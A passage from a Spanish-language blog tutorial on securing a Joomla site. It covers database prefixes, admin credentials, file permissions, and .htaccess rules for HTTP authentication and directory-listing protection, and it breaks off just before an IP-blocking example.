&lt;b&gt;6.2&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Habilitar Htaccess&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;6.3&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Denegar el acceso a los archivos .htaccess e impedir mostrar el contenido de directorios&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;6.4&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Impedir el acceso no autorizado al back-end de joomla&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;6.5&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Restringir el acceso a dominios e IP’s&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;6.6&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Robots.txt&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;7&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Eliminar Meta Generator de Joomla&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;URL’S Amigables&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;8&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Respaldo de información&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;9&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Extensiones de tercero&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;10&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Servidor web (Apache)&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;11&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Actualizaciones&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;1&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Introducción&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Joomla es un gestor de contenidos (CMS) orientado a la realización de páginas web, tanto a nivel público como portales de intranet, distribuido como software libre.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Joomla es una aplicación Open Source o de código abierto programada en lenguaje PHP bajo una licencia GPL y que utiliza una base de datos por default MySQL para almacenar el contenido y los parámetros de configuración del sitio.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Es importante destacar que esta herramienta al ser un software totalmente libre el código fuente es conocido y de aquí parte una parte del compromiso de asegurar los portales diseñados con joomla para evitar posibles vulnerabilidades y ataques.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;2&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Prefijo de la base de datos&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Este es un aspecto de seguridad importante a la hora de crear la estructura de tablas ya que Joomla, hasta la versión 2.X por defecto creaba el prefijo &lt;b&gt;jos_ &lt;/b&gt;en el nombre de las tablas por lo que un posible atacante lo tenía muy fácil para conocer el nombre de las mismas ya que el resto del nombre es común para todas las instalaciones (ejemplo: &lt;b&gt;jos_users&lt;/b&gt;). A partir de la versión 3.X Joomla genera un prefijo aleatorio, pero es recomendable modificarlo por uno que el usuario considere y que preferiblemente, no tenga relación con el nombre del sitio.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;3&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Usuario y contraseñas de administrador&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Joomla por defecto rellena el formulario correspondiente al Usuario del Administrador con el nombre admin.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2FpSK-quCqsVk-odaIpkAEpbeWq3ZdH0cxzyxXoUMrIwz8G_lMydfMhmG366GhKq5qNksnX1H-D6xRMC3yj0HbfEpE55o2AS2pEJIvk8F-OUh2kXsdkdJ53JZaJwmg4ZftYNoxhT7Ifg/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2FpSK-quCqsVk-odaIpkAEpbeWq3ZdH0cxzyxXoUMrIwz8G_lMydfMhmG366GhKq5qNksnX1H-D6xRMC3yj0HbfEpE55o2AS2pEJIvk8F-OUh2kXsdkdJ53JZaJwmg4ZftYNoxhT7Ifg/s1600/1.png&quot; height=&quot;126&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por razones de seguridad es altamente recomendable modificar este nombre por otro diferente. En caso de mantener el usuario admin hay que considerar que si un usuario malintencionado quisiera acceder a la zona de administración, ya conoce la mitad de la barrera existente. Si además no se crea una contraseña robusta, es relativamente fácil que por medio de un ataque de fuerza bruta se acceda a la zona de administración.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;4&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Permiso de directorios y archivos&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Es muy importante proteger los directorios y archivos de joomla con los permisos adecuados todo el árbol de directorios y archivos que componen la estructura de Joomla. Puesto que la aplicación web se encuentra en un directorio con acceso de lectura para todo los usuarios (777), como mínimo se ha de verificar que los permisos se han establecido adecuadamente.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Teniendo en cuenta lo anterior y como medida general, para toda la estructura de carpetas (no archivos) donde está instalado Joomla serían aplicables los permisos &lt;b&gt;755&lt;/b&gt; que se traducen como:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Los propietarios&lt;/b&gt;, es decir el usuario que ha facilitado el hosting al contratar el servicio, tendrán control total (lectura, escritura y ejecución) sobre las carpetas del servidor (7).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Los miembros del grupo&lt;/b&gt; tendrán permisos de lectura y ejecución (5). En el caso de alojamiento web, el grupo (Group) en el caso de un alojamiento web pertenece al propietario (Owner).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;El resto de usuarios&lt;/b&gt;, los que acceder a la página web y sus servicios, tendrán permisos de lectura y ejecución (5).&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Para los archivos la configuración será distinta. Hay que aplicar permisos &lt;b&gt;644&lt;/b&gt; que se traducirían, siguiendo la información de la tabla, como:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Los propietarios tendrán permiso de lectura y escritura sobre los archivos del servidor (6).&lt;/li&gt;
&lt;li&gt;Los miembros del grupo tendrán permisos de lectura (4).&lt;/li&gt;
&lt;li&gt;El resto de usuarios, los que acceder a la página web y sus servicios, tendrán permisos de lectura (4).&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
En resumen y como recomendación, se deben aplicar los permisos:&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;755 para directorios o carpetas.&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;644 para archivos.&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;5&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Área de administración (Back-end Administrator)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Joomla como la mayoría de gestores de contenidos, cuenta con dos partes diferentes en su sistema. Por un lado encontramos la parte pública o Front-end y por otro, la parte privada/de administración o Back-end.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
La parte de administración está reservada para aquellos usuarios que gestionaran la plataforma como son los administradores o los usuarios que van a publicar contenidos o realizar tareas de mantenimiento. Joomla tiene su propio directorio en el árbol de carpetas donde se ubican todos los archivos necesarios para la presentación web, gestión, etc.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Puesto que la zona de administración debe ser considerara un punto clave a proteger con el objetivo de impedir lo máximo posible accesos no autorizados, es necesario implementar los mecanismos adecuados que aporten seguridad en este aspecto. Como se comentó en el punto de la instalación, la primera acción a tomar sería modificar el nombre de usuario administrador por defecto (admin) y utilizar una contraseña robusta.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Una segunda acción seria esconder el Back-end de administración que por defecto es &lt;b&gt;www.portal.com/administrator&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Para esto se recomienda hacer uso de autenticación htaccess o bien del plugin Jsecure.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
veremos mas adelante el tema de asegurar el back-end por httaces y/o el plugin jsecure el punto &lt;b&gt;6.3&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;6&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Htaccess y Robots.txt&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En este punto se tratará cómo restringir el acceso a determinados directorios y archivos mediante la configuración de .htaccess y cómo evitar que los buscadores indexen archivos o rutas del sitio web que no queremos que sean visibles a través de las búsquedas como por ejemplo URLs de administración, de configuración, etc.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;6.1&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Htaccess&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
La mayoría de opciones de configuración de un servidor web dentro de un alojamiento basado en Apache están solo accesibles para el administrador del servidor en el ISP, es posible aplicar determinadas configuraciones editando el archivo .htaccess. Estas configuraciones, denominadas directivas, permiten aportar funcionalidades que variarán el comportamiento de sitio web pudiendo implementar varios archivos .htaccess sobre distintos directorios y archivos en base a las necesidades.&lt;br /&gt;
&lt;br /&gt;
Cuando se finaliza la instalación de Joomla el CMS crea por defecto el archivo &lt;b&gt;htaccess.txt&lt;/b&gt; que no tendrá efecto hasta que se modifique su nombre, de &lt;b&gt;htaccess.txt&lt;/b&gt; a &lt;b&gt;.htaccess&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrDh2BVMl51Q-XZcFXA1X1deks2WwkAtKcL5AkEyKhS3TQINPDPw7Yu9qGftkPnBBdRY9Ktxg1b2QmRbeAo6qJMdwTJDnXImiBVg_Vn4_rMLwhIlGtShrCRmA_n-XL8tGOlKDduIoRgpQ/s1600/htacces_txt.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrDh2BVMl51Q-XZcFXA1X1deks2WwkAtKcL5AkEyKhS3TQINPDPw7Yu9qGftkPnBBdRY9Ktxg1b2QmRbeAo6qJMdwTJDnXImiBVg_Vn4_rMLwhIlGtShrCRmA_n-XL8tGOlKDduIoRgpQ/s1600/htacces_txt.png&quot; height=&quot;411&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Inicialmente en Joomla, este archivo está configurado para facilitar la reescritura de las URL y optimizar el sitio en los motores de búsqueda para el SEO, pero a través de ciertos parámetros, será posible aplicar diferentes configuraciones que aportarán mayor seguridad al sitio web.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;6.2&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; Habilitar &lt;/span&gt;Htaccess&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Al tratarse de un servidor en ambiente local (No hosting) debemos realizar una modificación a la configuración del apache para la lectura de estos archivos.&lt;br /&gt;
&lt;br /&gt;
Nos ubicamos a la siguiente carpeta &lt;b&gt;/etc/httpd/conf&lt;/b&gt; y abrimos el archivo &lt;b&gt;httpd.conf&lt;/b&gt; en ella encontraremos que las opciones &lt;b&gt;AllowOverride&lt;/b&gt; se encontraran en &lt;b&gt;None&lt;/b&gt;, editamos el &lt;b&gt;None &lt;/b&gt;por &lt;b&gt;All&lt;/b&gt;, guardamos y reiniciamos el servicio de apache.&lt;br /&gt;
&lt;b&gt;service httpd restart&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;6.3&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; Impedir mostrar el contenido de directorios&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
En algunas ocasiones también interesará que la estructura de directorios de Joomla, a pesar de ser bastante conocida, no sea mostrada y ocultar así los archivos y carpetas que componen el sitio. Para ello basta con añadir al archivo &lt;b&gt;.htaccess&lt;/b&gt; la siguiente línea:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Options All –Indexes.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;6.4&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; Impedir el acceso no autorizado al back-end de joomla&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;span style=&quot;white-space: pre;&quot;&gt;Anteriormente mencionamos y recomendamos el restringir el acceso al back-end por httacces o por elplugins JSecure para darle un segundo factor de protección al acceso del back-end de administración además de otras funcionalidades de seguridad que proporciona el componente.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;white-space: pre;&quot;&gt;Podemos asignar un segundo factor de protección (autenticación HTTP) mediante el archivo .htacces si no se cuenta con el componente JSecure.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Ami realmente me gusta mas el funcionamiento de segundo factor de la autenticacion HTTP y combinarla con los logs de JSecure.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
En el archivo .htaccess indicaremos la configuración siguiente&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;   1:&lt;/span&gt;&lt;span style=&quot;font-family: ’courier new’, courier, monospace; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 12pt;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #f4f4f4; font-size: 11px; line-height: 16px;&quot;&gt;&lt;span style=&quot;color: blue; font-family: ’courier new’, courier, monospace;&quot;&gt;AuthType Basic&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;color: black; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-style: none; color: black; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: blue;&quot;&gt;AuthName Area de Administracion&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;color: black; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;pre style=&quot;background-color: white; border-style: none; color: black; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;background-color: #f4f4f4; color: blue; font-size: 8pt; line-height: 12pt;&quot;&gt;AuthUserFile /htpasswds/users.pwd&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: blue;&quot;&gt;require valid-user&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;font-family: Times New Roman;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Hay que indicar que esta configuración se debe aplicar en un archivo .htaccess en el directorio /administrator. Para que la configuración funcione correctamente adicionalmente, hay que crear un archivo de texto con los usuarios y contraseñas que podrán acceder al directorio (en el ejemplo users.pwd) y ubicarlo en un directorio, a ser posible oculto y fuera de la carpeta pública (en el ejemplo /.htpasswds). Puesto que el formato de la contraseña para apache se ha de cifrar, el archivo users.pwd que contiene el usuario y contraseña, tendría el siguiente formato:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
============================================&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;antony:$apr1$Exo2qw2s$xG7V/Va.A9w5dMA9J6Wcm/&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
============================================&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para ayudarnos a generar las listas de usuarios podemos utilizar servicios como &lt;a href=&quot;http://www.htaccesstools.com/htpasswd-generator/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.htaccesstools.com/htpasswd-generator/&lt;/a&gt; que convierten la contraseña al formato adecuado o bien usando el comando htpasswd en consola.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Implementando esta medida, cuando un usuario trate de acceder a la URL &lt;b&gt;portal.com/administrator&lt;/b&gt;, previa a la aparición del formulario de acceso a la administración del portal, se mostrará otro solicitando las credenciales del archivo &lt;b&gt;users.pwd&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
cuando intentemos nuevamente ingresar al back-end veremos algo similar a la imagen:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmqgBSAgcE_JefccGlI6SpVlWc8gRcm2X_afSey-6T2N-XihyaAH5iS380BvT38N9U38hroPOSEkL4v_uthE3TC3zN7D_nmIYcuh0E5YFdXL-FIk5wXiu0Z8WIa6T0YqnQ-nOWXllPOJI/s1600/http_autentication.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmqgBSAgcE_JefccGlI6SpVlWc8gRcm2X_afSey-6T2N-XihyaAH5iS380BvT38N9U38hroPOSEkL4v_uthE3TC3zN7D_nmIYcuh0E5YFdXL-FIk5wXiu0Z8WIa6T0YqnQ-nOWXllPOJI/s1600/http_autentication.png&quot; height=&quot;267&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Recuerden tener la ultima version del apache por que en versiones anteriores existe un bypass para &lt;b&gt;HTTP Authentication&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;6.5&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Restringir el acceso a dominios e IP’S&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Cuando nos percatamos en los logs algun ataque a nuestro sitio web lo primero que hacemos es denegar esa IP, esto cuando no contamos con un web firewall que nos automatice el trabajo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Denegar la IP la podemos realizar mediante el archivo &lt;b&gt;.httaccess &lt;/b&gt;&amp;nbsp;o bien con &lt;b&gt;Jsecure&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
con &lt;b&gt;JSecure &lt;/b&gt;simplemente nos vamos a componente--&amp;gt;JSecure Authentication&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbH0Cc7_D_Z3REXE7C9gYDHKZdqkJA8hWIsjBnFXy8wWdh24Ge9FRlkfWjpHtqMAKD7cIcNGmI26YDHsgZzVZ_wBu6aqa9_weNAZV1XAHV273KcZB1Pn3BXLT88qU8HJNsmnpZ8NDPUIY/s1600/menu-jsecure.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbH0Cc7_D_Z3REXE7C9gYDHKZdqkJA8hWIsjBnFXy8wWdh24Ge9FRlkfWjpHtqMAKD7cIcNGmI26YDHsgZzVZ_wBu6aqa9_weNAZV1XAHV273KcZB1Pn3BXLT88qU8HJNsmnpZ8NDPUIY/s1600/menu-jsecure.png&quot; height=&quot;320&quot; width=&quot;182&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
y dentro del menu de este seleccionamos IP y agregamos las IP q les vamos a denegar Acceso&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih6B7GbXdVwu8W9MchPdFA4Y3mokjLa2KluzCv4oWjt7ir7w6tfKKCsdLZaqDZImJQLgDmp7Bh5xMp3_0NxdHJjNqK5A-Dftx9zfJ8KbLJ0pJeU8tB54JZoosY-UR8jm1OTu0jW10PVWE/s1600/Jsecure_block_IP.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih6B7GbXdVwu8W9MchPdFA4Y3mokjLa2KluzCv4oWjt7ir7w6tfKKCsdLZaqDZImJQLgDmp7Bh5xMp3_0NxdHJjNqK5A-Dftx9zfJ8KbLJ0pJeU8tB54JZoosY-UR8jm1OTu0jW10PVWE/s1600/Jsecure_block_IP.png&quot; height=&quot;277&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Y por un archivo &lt;b&gt;.Htaccess &lt;/b&gt;seria con una configuracion como la siguiente:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
